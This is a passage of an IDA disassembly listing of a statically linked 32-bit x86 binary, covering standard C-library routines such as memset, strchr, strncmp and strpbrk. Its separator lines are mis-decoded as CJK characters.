fldcw [ebp+var_2] mov esp, ebp pop ebp retn __setfpucw endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: hidden sub_80575A8 proc near ; DATA XREF: sigaction+14o add esp, 4 pop eax pop ecx pop edx popf retn sub_80575A8 endp ; sp = 14h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: hidden sub_80575B0 proc near ; DATA XREF: sigaction+20o add esp, 4 call sub_8065C54 add esp, 4 pop eax pop ecx pop edx popf retn sub_80575B0 endp ; sp = 18h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80575C0 proc near ; CODE XREF: sub_804F734+43p ; vfprintf+135Ep ... var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov eax, [ebp+arg_0] mov edx, [ebp+arg_4] mov esi, [ebp+arg_8] cmp esi, 4 jb loc_805771F mov dh, dl mov edi, edx shl edx, 10h mov dx, di test al, 3 jz loc_80576B6 cmp [eax], dl jz loc_8057758 inc eax dec esi jz loc_8057738 test al, 3 jz loc_80576B6 cmp [eax], dl jz loc_8057758 inc eax dec esi jz loc_8057738 test al, 3 jz loc_80576B6 cmp [eax], dl jz loc_8057758 inc eax dec esi jmp loc_80576B6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 90h, 8Dh, 0B4h, 26h, 4 dup(0) ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8057630: ; CODE XREF: sub_80575C0+F9j mov ecx, [eax] mov edi, 0FEFEFEFFh xor ecx, edx add edi, ecx jnb loc_8057745 xor edi, ecx or edi, 0FEFEFEFFh inc edi jnz loc_8057745 mov ecx, [eax+4] mov edi, 0FEFEFEFFh xor ecx, edx add edi, ecx jnb loc_8057742 xor edi, ecx or edi, 0FEFEFEFFh inc edi jnz loc_8057742 mov ecx, [eax+8] mov edi, 0FEFEFEFFh xor ecx, edx add edi, ecx jnb loc_805773F xor edi, ecx or edi, 0FEFEFEFFh inc edi jnz loc_805773F mov ecx, [eax+0Ch] mov edi, 0FEFEFEFFh xor ecx, edx add edi, ecx jnb loc_805773C xor edi, ecx or edi, 0FEFEFEFFh inc edi jnz loc_805773C add eax, 10h loc_80576B6: ; CODE XREF: sub_80575C0+23j ; sub_80575C0+3Bj ... sub esi, 10h jnb loc_8057630 cmp esi, 0FFFFFFF4h jb short loc_805771F mov ecx, [eax] mov edi, 0FEFEFEFFh xor ecx, edx add edi, ecx jnb short loc_8057745 xor edi, ecx or edi, 0FEFEFEFFh inc edi jnz short loc_8057745 add eax, 4 cmp esi, 0FFFFFFF8h jb short loc_805771F mov ecx, [eax] mov edi, 0FEFEFEFFh xor ecx, edx add edi, ecx jnb short loc_8057745 xor edi, ecx or edi, 0FEFEFEFFh inc edi jnz short loc_8057745 add eax, 4 cmp esi, 0FFFFFFFCh jb short loc_805771F mov ecx, [eax] mov edi, 0FEFEFEFFh xor ecx, edx add edi, ecx jnb short loc_8057745 xor edi, ecx or edi, 0FEFEFEFFh inc edi jnz short loc_8057745 add eax, 4 loc_805771F: ; CODE XREF: sub_80575C0+11j ; sub_80575C0+102j ... and esi, 3 jz short loc_8057738 cmp [eax], dl jz short loc_8057758 inc eax dec esi jz short loc_8057738 cmp [eax], dl jz short loc_8057758 inc eax dec esi jz short loc_8057738 cmp [eax], dl jz short loc_8057758 loc_8057738: ; CODE XREF: sub_80575C0+33j ; sub_80575C0+4Bj ... xor eax, eax jmp short loc_8057758 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805773C: ; CODE XREF: sub_80575C0+DEj ; sub_80575C0+EDj add eax, 4 loc_805773F: ; CODE XREF: sub_80575C0+BDj ; sub_80575C0+CCj add eax, 4 loc_8057742: ; CODE XREF: sub_80575C0+9Cj ; sub_80575C0+ABj add eax, 4 loc_8057745: ; CODE XREF: sub_80575C0+7Bj ; sub_80575C0+8Aj ... test cl, cl jz short loc_8057758 inc eax test ch, ch jz short loc_8057758 inc eax test ecx, 0FF0000h jz short loc_8057758 inc eax loc_8057758: ; CODE XREF: sub_80575C0+2Bj ; sub_80575C0+43j ... lea esp, [ebp+var_8] pop esi pop edi mov esp, ebp pop ebp retn sub_80575C0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden memset proc near ; CODE XREF: main+6Fp sub_8049174+D1p ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_8] mov edi, esi movzx eax, [ebp+arg_4] cld cmp ebx, 0Bh jbe short loc_80577A3 mov edx, eax shl edx, 8 or eax, edx mov edx, eax shl edx, 10h or eax, edx mov edx, esi neg edx and edx, 3 sub ebx, edx mov ecx, edx repe stosb mov edx, ebx shr edx, 2 mov ecx, edx repe stosd and ebx, 3 loc_80577A3: ; CODE XREF: memset+16j mov ecx, ebx repe stosb mov eax, esi lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn memset endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 0Dh dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80577C0 proc near ; CODE XREF: sub_8054EC8+3A6p ; sub_805A254+85p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi mov edx, [ebp+arg_0] mov ecx, [ebp+arg_4] test byte ptr [ecx], 0FFh jz loc_8057964 test dl, 3 jz short loc_8057813 test byte ptr [edx], 0FFh jz loc_8057889 inc edx test dl, 3 jz short loc_8057813 test byte ptr [edx], 0FFh jz loc_8057889 inc edx test dl, 3 jz short loc_8057813 test dword ptr [edx], 0FFh jz loc_8057889 inc edx jmp short loc_8057813 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 74h, 26h, 0, 8Dh, 0B4h, 26h, 4 dup(0) ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8057810: ; CODE XREF: sub_80577C0+ACj add edx, 10h loc_8057813: ; CODE XREF: sub_80577C0+16j ; sub_80577C0+25j ... mov eax, [edx] mov edi, 0FEFEFEFFh add edi, eax jnb short loc_8057877 xor edi, eax or edi, 0FEFEFEFFh inc edi jnz short loc_8057877 mov eax, [edx+4] mov edi, 0FEFEFEFFh add edi, eax jnb short loc_8057874 xor edi, eax or edi, 0FEFEFEFFh inc edi jnz short loc_8057874 mov eax, [edx+8] mov edi, 0FEFEFEFFh add edi, eax jnb short loc_8057871 xor edi, eax or edi, 0FEFEFEFFh inc edi jnz short loc_8057871 mov eax, [edx+0Ch] mov edi, 0FEFEFEFFh add edi, eax jnb short loc_805786E xor edi, eax or edi, 0FEFEFEFFh inc edi jz short loc_8057810 loc_805786E: ; CODE XREF: sub_80577C0+A1j add edx, 4 loc_8057871: ; CODE XREF: sub_80577C0+8Aj ; sub_80577C0+95j add edx, 4 loc_8057874: ; CODE XREF: sub_80577C0+73j ; sub_80577C0+7Ej add edx, 4 loc_8057877: ; CODE XREF: sub_80577C0+5Cj ; sub_80577C0+67j test al, al jz short loc_8057889 inc edx test ah, ah jz short loc_8057889 inc edx test eax, 0FF0000h jz short loc_8057889 inc edx loc_8057889: ; CODE XREF: sub_80577C0+1Bj ; sub_80577C0+2Aj ... sub edx, ecx test cl, 3 jz short loc_80578D7 mov al, [ecx] mov [edx+ecx], al test al, al jz loc_8057964 inc ecx test cl, 3 jz short loc_80578D7 mov al, [ecx] mov [edx+ecx], al test al, al jz loc_8057964 inc ecx test cl, 3 jz short loc_80578D7 mov al, [ecx] mov [edx+ecx], al test al, al jz loc_8057964 inc ecx jmp short loc_80578D7 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0, 8Dh, 0B4h, 26h, 4 dup(0) ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80578D0: ; CODE XREF: sub_80577C0+17Bj mov [edx+ecx+0Ch], eax add ecx, 10h loc_80578D7: ; CODE XREF: sub_80577C0+CEj ; sub_80577C0+E1j ... mov eax, [ecx] mov edi, 0FEFEFEFFh add edi, eax jnb short loc_8057946 xor edi, eax or edi, 0FEFEFEFFh inc edi jnz short loc_8057946 mov [edx+ecx], eax mov eax, [ecx+4] mov edi, 0FEFEFEFFh add edi, eax jnb short loc_8057943 xor edi, eax or edi, 0FEFEFEFFh inc edi jnz short loc_8057943 mov [edx+ecx+4], eax mov eax, [ecx+8] mov edi, 0FEFEFEFFh add edi, eax jnb short loc_8057940 xor edi, eax or edi, 0FEFEFEFFh inc edi jnz short loc_8057940 mov [edx+ecx+8], eax mov eax, [ecx+0Ch] mov edi, 0FEFEFEFFh add edi, eax jnb short loc_805793D xor edi, eax or edi, 0FEFEFEFFh inc edi jz short loc_80578D0 loc_805793D: ; CODE XREF: sub_80577C0+170j add ecx, 4 loc_8057940: ; CODE XREF: sub_80577C0+155j ; sub_80577C0+160j add ecx, 4 loc_8057943: ; CODE XREF: sub_80577C0+13Aj ; sub_80577C0+145j add ecx, 4 loc_8057946: ; CODE XREF: sub_80577C0+120j ; sub_80577C0+12Bj mov [edx+ecx], al or al, al jz short loc_8057964 mov [edx+ecx+1], ah or ah, ah jz short loc_8057964 shr eax, 10h mov [edx+ecx+2], al or al, al jz short loc_8057964 mov [edx+ecx+3], ah loc_8057964: ; CODE XREF: sub_80577C0+Dj ; sub_80577C0+D7j ... mov eax, [ebp+arg_0] mov edi, [ebp+var_4] mov esp, ebp pop ebp retn sub_80577C0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden strchr proc near ; CODE XREF: _getnishost+DAp ; res_init+30Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi mov eax, [ebp+arg_0] mov edx, [ebp+arg_4] mov dh, dl mov ecx, edx shl edx, 10h mov dx, cx test al, 3 jz short loc_80579D3 mov cl, [eax] cmp dl, cl jz loc_8057AD5 or cl, cl jz loc_8057AAA inc eax test al, 3 jz short loc_80579D3 mov cl, [eax] cmp dl, cl jz loc_8057AD5 or cl, cl jz loc_8057AAA inc eax test al, 3 jz short loc_80579D3 mov cl, [eax] cmp dl, cl jz loc_8057AD5 or cl, cl jz loc_8057AAA inc eax jmp short loc_80579D3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 90h, 8Dh, 74h, 26h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80579D0: ; CODE XREF: strchr+134j add eax, 10h loc_80579D3: ; CODE XREF: strchr+16j strchr+2Dj ... mov ecx, [eax] xor ecx, edx mov edi, 0FEFEFEFFh add edi, ecx jnb loc_8057AB7 xor edi, ecx or edi, 0FEFEFEFFh inc edi jnz loc_8057AB7 xor ecx, edx mov edi, 0FEFEFEFFh add edi, ecx jnb loc_8057AAA xor edi, ecx or edi, 0FEFEFEFFh inc edi jnz loc_8057AAA mov ecx, [eax+4] xor ecx, edx mov edi, 0FEFEFEFFh add edi, ecx jnb loc_8057AB4 xor edi, ecx or edi, 0FEFEFEFFh inc edi jnz loc_8057AB4 xor ecx, edx mov edi, 0FEFEFEFFh add edi, ecx jnb short loc_8057AAA xor edi, ecx or edi, 0FEFEFEFFh inc edi jnz short loc_8057AAA mov ecx, [eax+8] xor ecx, edx mov edi, 0FEFEFEFFh add edi, ecx jnb short loc_8057AB1 xor edi, ecx or edi, 0FEFEFEFFh inc edi jnz short loc_8057AB1 xor ecx, edx mov edi, 0FEFEFEFFh add edi, ecx jnb short loc_8057AAA xor edi, ecx or edi, 0FEFEFEFFh inc edi jnz short loc_8057AAA mov ecx, [eax+0Ch] xor ecx, edx mov edi, 0FEFEFEFFh add edi, ecx jnb short loc_8057AAE xor edi, ecx or edi, 0FEFEFEFFh inc edi jnz short loc_8057AAE xor ecx, edx mov edi, 0FEFEFEFFh add edi, ecx jnb short loc_8057AAA xor edi, ecx or edi, 0FEFEFEFFh inc edi jz loc_80579D0 loc_8057AAA: ; CODE XREF: strchr+24j strchr+3Bj ... xor eax, eax jmp short loc_8057AD5 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8057AAE: ; CODE XREF: strchr+113j strchr+11Ej add eax, 4 loc_8057AB1: ; CODE XREF: strchr+E4j strchr+EFj add eax, 4 loc_8057AB4: ; CODE XREF: strchr+ADj strchr+BCj add eax, 4 loc_8057AB7: ; CODE XREF: strchr+6Ej strchr+7Dj test cl, cl jz short loc_8057AD5 cmp cl, dl jz short loc_8057AAA test ch, ch jz short loc_8057AD4 cmp ch, dl jz short loc_8057AAA shr ecx, 10h test cl, cl jz short loc_8057AD3 cmp cl, dl jz short loc_8057AAA inc eax loc_8057AD3: ; CODE XREF: strchr+15Cj inc eax loc_8057AD4: ; CODE XREF: strchr+151j inc eax loc_8057AD5: ; CODE XREF: strchr+1Cj strchr+33j ... mov edi, [ebp+var_4] mov esp, ebp pop ebp retn strchr endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8057ADC proc near ; CODE XREF: gethostbyaddr+19Fp ; sub_805CCB0+109p ... var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] cld loc_8057AE8: ; CODE XREF: sub_8057ADC+12j lodsb scasb jnz short loc_8057AF4 test al, al jnz short loc_8057AE8 xor eax, eax jmp short loc_8057AF8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8057AF4: ; CODE XREF: sub_8057ADC+Ej sbb eax, eax or al, 1 loc_8057AF8: ; CODE XREF: sub_8057ADC+16j lea esp, [ebp+var_8] pop esi pop edi mov esp, ebp pop ebp retn sub_8057ADC endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden strncmp proc near ; CODE XREF: res_init+1DFp ; res_init+28Ap ... var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] mov ecx, [ebp+arg_8] cld inc ecx loc_8057B14: ; CODE XREF: strncmp+19j dec ecx jz short loc_8057B1F lodsb scasb jnz short loc_8057B23 test al, al jnz short loc_8057B14 loc_8057B1F: ; CODE XREF: strncmp+11j xor eax, eax jmp short loc_8057B27 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8057B23: ; CODE XREF: strncmp+15j sbb eax, eax or al, 1 loc_8057B27: ; CODE XREF: strncmp+1Dj lea esp, [ebp+var_8] pop esi pop edi mov esp, ebp pop ebp retn strncmp endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden strpbrk proc near ; CODE XREF: init_services_resolv+16Fp ; init_services_resolv+1B5p ... var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] mov edx, [ebp+arg_4] xor ecx, ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx nop db 8Dh,74h,26h,0 ; lea esi, [esi+0] loc_8057B80: ; CODE XREF: strpbrk+7Bj mov cl, [edx] mov [esp+ecx+100h+var_100], cl test cl, cl jz short loc_8057BB3 mov cl, [edx+1] mov [esp+ecx+100h+var_100], cl test cl, 0FFh jz short loc_8057BB3 mov cl, [edx+2] mov [esp+ecx+100h+var_100], cl test cl, 0FFh jz short loc_8057BB3 mov cl, [edx+3] add edx, 4 mov [esp+ecx+100h+var_100], cl test cl, 0FFh jnz short loc_8057B80 sub eax, 4 loc_8057BB0: ; CODE XREF: strpbrk+A0j add eax, 4 loc_8057BB3: ; CODE XREF: strpbrk+57j strpbrk+62j ... mov cl, [eax] cmp [esp+ecx+100h+var_100], cl jz short loc_8057BD5 mov cl, [eax+1] cmp [esp+ecx+100h+var_100], cl jz short loc_8057BD4 mov cl, [eax+2] cmp [esp+ecx+100h+var_100], cl jz short loc_8057BD3 mov cl, [eax+3] cmp [esp+ecx+100h+var_100], cl jnz short loc_8057BB0 inc eax loc_8057BD3: ; CODE XREF: strpbrk+98j inc eax loc_8057BD4: ; CODE XREF: strpbrk+90j inc eax loc_8057BD5: ; CODE XREF: strpbrk+88j add esp, 100h or cl, cl jnz short loc_8057BE1 xor eax, eax loc_8057BE1: ; CODE XREF: strpbrk+ADj mov esp, ebp pop ebp retn strpbrk endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8057BE8 proc near ; CODE XREF: init_services_resolv+B2p var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi xor eax, eax mov esi, [ebp+arg_0] mov ecx, [ebp+arg_4] mov ch, cl mov edx, ecx shl ecx, 10h mov cx, dx test esi, 3 jz loc_8057C8B mov dl, [esi] cmp dl, cl jnz short loc_8057C13 mov eax, esi loc_8057C13: ; CODE XREF: sub_8057BE8+27j or dl, dl jz loc_8057D9E inc esi test esi, 3 jz short loc_8057C8B mov dl, [esi] cmp dl, cl jnz short loc_8057C2C mov eax, esi loc_8057C2C: ; CODE XREF: sub_8057BE8+40j or dl, dl jz loc_8057D9E inc esi test esi, 3 jz short loc_8057C8B mov dl, [esi] cmp dl, cl jnz short loc_8057C45 mov eax, esi loc_8057C45: ; CODE XREF: sub_8057BE8+59j or dl, dl jz loc_8057D9E inc esi jmp short loc_8057C8B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8057C50: ; CODE XREF: sub_8057BE8+CAj sub esi, 4 loc_8057C53: ; CODE XREF: sub_8057BE8+FFj sub esi, 4 loc_8057C56: ; CODE XREF: sub_8057BE8+134j sub esi, 4 loc_8057C59: ; CODE XREF: sub_8057BE8+169j test edx, 0FF000000h jnz short loc_8057C6F lea eax, [esi+0Fh] jmp short loc_8057C88 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8057C66: ; CODE XREF: sub_8057BE8+D5j sub esi, 4 loc_8057C69: ; CODE XREF: sub_8057BE8+10Ej sub esi, 4 loc_8057C6C: ; CODE XREF: sub_8057BE8+143j sub esi, 4 loc_8057C6F: ; CODE XREF: sub_8057BE8+77j ; sub_8057BE8+17Ej test edx, 0FF0000h jnz short loc_8057C7C lea eax, [esi+0Eh] jmp short loc_8057C88 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8057C7C: ; CODE XREF: sub_8057BE8+8Dj test dh, dh jnz short loc_8057C85 lea eax, [esi+0Dh] jmp short loc_8057C88 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8057C85: ; CODE XREF: sub_8057BE8+96j lea eax, [esi+0Ch] loc_8057C88: ; CODE XREF: sub_8057BE8+7Cj ; sub_8057BE8+92j ... add esi, 10h loc_8057C8B: ; CODE XREF: sub_8057BE8+1Dj ; sub_8057BE8+3Aj ... mov edx, [esi] mov edi, 0FEFEFEFFh add edi, edx jnb loc_8057D74 xor edi, edx or edi, 0FEFEFEFFh inc edi jnz loc_8057D74 xor edx, ecx mov edi, 0FEFEFEFFh add edi, edx jnb short loc_8057C50 xor edi, edx or edi, 0FEFEFEFFh inc edi jnz short loc_8057C66 mov edx, [esi+4] mov edi, 0FEFEFEFFh add edi, edx jnb loc_8057D71 xor edi, edx or edi, 0FEFEFEFFh inc edi jnz loc_8057D71 xor edx, ecx mov edi, 0FEFEFEFFh add edi, edx jnb loc_8057C53 xor edi, edx or edi, 0FEFEFEFFh inc edi jnz loc_8057C69 mov edx, [esi+8] mov edi, 0FEFEFEFFh add edi, edx jnb short loc_8057D6E xor edi, edx or edi, 0FEFEFEFFh inc edi jnz short loc_8057D6E xor edx, ecx mov edi, 0FEFEFEFFh add edi, edx jnb loc_8057C56 xor edi, edx or edi, 0FEFEFEFFh inc edi jnz loc_8057C6C mov edx, [esi+0Ch] mov edi, 0FEFEFEFFh add edi, edx jnb short loc_8057D6B xor edi, edx or edi, 0FEFEFEFFh inc edi jnz short loc_8057D6B xor edx, ecx mov edi, 0FEFEFEFFh add edi, edx jnb loc_8057C59 xor edi, edx or edi, 0FEFEFEFFh inc edi jz loc_8057C88 jmp loc_8057C6F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8057D6B: ; CODE XREF: sub_8057BE8+153j ; sub_8057BE8+15Ej add esi, 4 loc_8057D6E: ; CODE XREF: sub_8057BE8+11Ej ; sub_8057BE8+129j add esi, 4 loc_8057D71: ; CODE XREF: sub_8057BE8+E1j ; sub_8057BE8+F0j add esi, 4 loc_8057D74: ; CODE XREF: sub_8057BE8+ACj ; sub_8057BE8+BBj cmp dl, cl jnz short loc_8057D7A mov eax, esi loc_8057D7A: ; CODE XREF: sub_8057BE8+18Ej test dl, dl jz short loc_8057D9E cmp dh, cl jnz short loc_8057D85 lea eax, [esi+1] loc_8057D85: ; CODE XREF: sub_8057BE8+198j test dh, dh jz short loc_8057D9E shr edx, 10h cmp dl, cl jnz short loc_8057D93 lea eax, [esi+2] loc_8057D93: ; CODE XREF: sub_8057BE8+1A6j test dl, dl jz short loc_8057D9E cmp dh, cl jnz short loc_8057D9E lea eax, [esi+3] loc_8057D9E: ; CODE XREF: sub_8057BE8+2Dj ; sub_8057BE8+46j ... lea esp, [ebp+var_8] pop esi pop edi mov esp, ebp pop ebp retn sub_8057BE8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 9 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8057DB0 proc near ; CODE XREF: strtok+30p var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] mov edx, [ebp+arg_0] xor ecx, ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx nop db 8Dh,74h,26h,0 ; lea esi, [esi+0] loc_8057E00: ; CODE XREF: sub_8057DB0+79j mov cl, [eax] mov [esp+ecx+100h+var_100], cl test cl, cl jz short loc_8057E2B mov cl, [eax+1] mov [esp+ecx+100h+var_100], cl test cl, cl jz short loc_8057E2B mov cl, [eax+2] mov [esp+ecx+100h+var_100], cl test cl, cl jz short loc_8057E2B mov cl, [eax+3] add eax, 4 mov [esp+ecx+100h+var_100], cl test cl, 0FFh jnz short loc_8057E00 loc_8057E2B: ; CODE XREF: sub_8057DB0+57j ; sub_8057DB0+61j ... mov eax, 0FFFFFFFCh loc_8057E30: ; CODE XREF: sub_8057DB0+A4j add eax, 4 mov cl, [edx+eax] test [esp+ecx], cl jz short loc_8057E59 mov cl, [edx+eax+1] test [esp+ecx], cl jz short loc_8057E58 mov cl, [edx+eax+2] test [esp+ecx], cl jz short loc_8057E57 mov cl, [edx+eax+3] test [esp+ecx], cl jnz short loc_8057E30 inc eax loc_8057E57: ; CODE XREF: sub_8057DB0+9Bj inc eax loc_8057E58: ; CODE XREF: sub_8057DB0+92j inc eax loc_8057E59: ; CODE XREF: sub_8057DB0+89j add esp, 100h mov esp, ebp pop ebp retn sub_8057DB0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8057E64 proc near ; CODE XREF: sub_8053310+1C0p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] and eax, 7FFFFFFFh cmp eax, 7FF00000h jnz short loc_8057E90 cmp [ebp+arg_0], 0 jnz short loc_8057E90 mov eax, 1 cmp byte ptr [ebp+arg_4+3], 0 jge short loc_8057E8C mov eax, 0FFFFFFFFh loc_8057E8C: ; CODE XREF: sub_8057E64+21j mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8057E90: ; CODE XREF: sub_8057E64+10j ; sub_8057E64+16j xor eax, eax mov esp, ebp pop ebp retn sub_8057E64 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8057E98 proc near ; CODE XREF: sub_8053310+125p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h push ebp mov ebp, esp mov ax, [ebp+arg_8] and eax, 7FFFh cmp eax, 7FFFh jnz short loc_8057ED0 cmp [ebp+arg_4], 80000000h jnz short loc_8057ED0 cmp [ebp+arg_0], 0 jnz short loc_8057ED0 mov eax, 1 cmp byte ptr [ebp+arg_8+1], 0 jge short loc_8057ECA mov eax, 0FFFFFFFFh 